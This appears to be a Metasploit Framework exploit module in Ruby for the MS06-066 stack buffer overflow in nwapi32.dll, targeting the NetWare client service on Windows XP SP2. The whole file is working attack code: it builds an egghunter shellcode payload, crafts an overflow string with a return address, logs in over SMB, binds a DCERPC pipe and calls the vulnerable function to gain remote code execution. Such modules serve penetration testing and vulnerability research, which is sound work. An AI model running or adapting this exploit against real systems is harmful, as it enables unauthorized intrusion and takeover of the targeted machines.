140 lines
3.6 KiB
Ruby
140 lines
3.6 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::Egghunter
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include Msf::Exploit::Remote::DCERPC
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include Msf::Exploit::Remote::SMB
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft Services MS06-066 nwapi32.dll Module Exploit',
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'Description' => %q{
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This module exploits a stack buffer overflow in the svchost service when the netware
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client service is running. This specific vulnerability is in the nwapi32.dll module.
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},
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'Author' => [ 'pusscat' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2006-4688'],
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[ 'OSVDB', '30260'],
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[ 'BID', '21023'],
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[ 'MSB', 'MS06-066'],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 296,
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'BadChars' => "",
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'Compat' =>
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{
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# -ws2ord XXX?
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},
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[
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'Windows XP SP2',
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{
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'Ret' => 0x00EBEEEC ,
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},
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]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Nov 14 2006'))
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register_options(
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[
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OptString.new('SMBPIPE', [ true, "The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)", 'srvsvc']),
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], self.class)
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end
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def exploit
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# [in] [unique] wchar *
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# [in] wchar *
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# [in, out] long
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# [out] handle
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# Generate the egghunter payload
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hunter = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
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egg = hunter[1]
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#print_status("Today, we'll be hunting for 0x#{egg.unpack("V")[0]}")
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# Add giant blocks of guard data before and after the egg
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eggdata =
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rand_text(1024) +
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egg +
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rand_text(1024)
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buflen = 295
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ofstring = Rex::Text.to_unicode('\\\\') + "\x90" + hunter[0] + rand_text(buflen-hunter[0].length) +
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[ target.ret ].pack('V') + "\x00"
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#ofstring = Rex::Text.to_unicode('\\\\') + payload.encoded + [ target.ret ].pack('V') + "\x00\x00"
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stubdata =
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NDR.long(rand(0xffffffff)) +
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NDR.UnicodeConformantVaryingString("\\\\BBBB") +
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NDR.UnicodeConformantVaryingStringPreBuilt(ofstring) + # HERE!
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#NDR.UnicodeConformantVaryingString('\\\\' + "A"*1024 + "\x00") +
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NDR.long(rand(0xffffffff)) +
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NDR.long(rand(0xffffffff)) +
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#NDR.long((ofstring.length * 2) + 0xC) +
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eggdata
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print_status("Connecting to the SMB service...")
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connect()
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smb_login()
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handle = dcerpc_handle('e67ab081-9844-3521-9d32-834f038001c0', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
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print_status("Binding to #{handle} ...")
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dcerpc_bind(handle)
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print_status("Bound to #{handle} ...")
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print_status("Calling the vulnerable function...")
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begin
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dcerpc.call(0x09, stubdata)
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rescue Rex::Proto::DCERPC::Exceptions::NoResponse
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print_status('Server did not respond, this is expected')
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rescue => e
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if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
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print_status('Server disconnected, this is expected')
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else
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raise e
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end
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else
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print_status("Got #{dcerpc.last_response.stub_data.length} bytes: #{dcerpc.last_response.stub_data}")
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end
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# Cleanup
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handler
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disconnect
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if (dcerpc.last_response != nil and
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dcerpc.last_response.stub_data != nil and
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dcerpc.last_response.stub_data == "\x04\x00\x00\x00\x00\x00\x00\x00\x1a\x00\x00\x00")
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return true
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else
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return false
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end
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end
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end
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